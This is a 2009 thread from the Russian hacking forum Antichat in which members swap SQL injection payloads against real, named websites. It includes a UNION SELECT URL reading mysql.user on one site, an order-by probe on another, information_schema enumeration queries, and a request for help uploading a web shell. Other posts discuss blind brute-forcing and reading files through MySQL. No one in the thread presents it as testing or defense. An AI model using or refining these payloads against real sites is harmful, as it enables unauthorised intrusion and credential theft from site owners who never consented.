HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.02.2009, 14:24
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
С нами: 9950786

Репутация: 214


По умолчанию

Цитата:
Сообщение от Gorev  
Sipt

select+table_name+from+information_schema.tables+l imit+{N1-100},1
select+column_name+from+information_schema.columns +where+table_name=(таблица или sql хекc)+limit+{N1-100},1
так и не разобрался с лимитом
 
Ответить с цитированием

  #2  
Старый 11.02.2009, 14:24
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
С нами: 9838057

Репутация: 302
По умолчанию

http://ip-st.ru/txt.php?cat=-1%20union%20select%201,2,3,4,user,6,7,8,9%20from%2 0mysql.user--
Вот открыт mysql.user можно ли залить шелл и что нибудь на подобии, объясните пожалуйста, не разу не заливал охота научиться
 
Ответить с цитированием

  #3  
Старый 11.02.2009, 14:26
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

2 Assembler

http://forum.antichat.ru/thread104591.html

2 Svesve юзай прогу от SQLHACK-a Сипт4 там есть посимвольный брут..там запрос и ставь...

Последний раз редактировалось Gorev; 11.02.2009 в 15:36..
 
Ответить с цитированием

  #4  
Старый 11.02.2009, 18:30
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

http://www.np-ats.ru/index.jsp?pid=612'+order+by+1--

Неужели никто ничего не нашёл ?
 
Ответить с цитированием

  #5  
Старый 11.02.2009, 19:21
$p01nt
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами: 9591697

Репутация: 96
По умолчанию

Подставил кавычку в поиске sql injection и выдало:

Fatal error: Cannot use object of type DB_Error as array in /home/domen/public_html/lus/script_php/send_msg.php on line 234

Что это за БД и где почитать про раскрутку иньекций в ней?
 
Ответить с цитированием

  #6  
Старый 11.02.2009, 21:15
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

Цитата:
Сообщение от $p01nt  
Подставил кавычку в поиске sql injection и выдало:

Fatal error: Cannot use object of type DB_Error as array in /home/domen/public_html/lus/script_php/send_msg.php on line 234

Что это за БД и где почитать про раскрутку иньекций в ней?
А хрен его знает.Скорее,mysql.Операторы-то на что?))Или ничего не работает ?
 
Ответить с цитированием

  #7  
Старый 11.02.2009, 19:22
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

2 $p01nt link please
 
Ответить с цитированием

  #8  
Старый 11.02.2009, 20:48
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами: 11141693

Репутация: 56
По умолчанию

Подскажите плиз,
Веб сервер расположен на сервере А
Мускул на сервере Б
то
если - выполнить скул запрос просмотра файла на сервере А -
будет выведен файл сервера А или Б ?
Заранее спасибо
 
Ответить с цитированием

  #9  
Старый 11.02.2009, 21:34
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами: 10158086

Репутация: 1359


По умолчанию

Цитата:
Сообщение от tmp  
Подскажите плиз,
Веб сервер расположен на сервере А
Мускул на сервере Б
то
если - выполнить скул запрос просмотра файла на сервере А -
будет выведен файл сервера А или Б ?
Заранее спасибо
естественно с сервера на котором висит MySQL!
 
Ответить с цитированием

  #10  
Старый 11.02.2009, 20:57
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

думаю что с сервера А
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.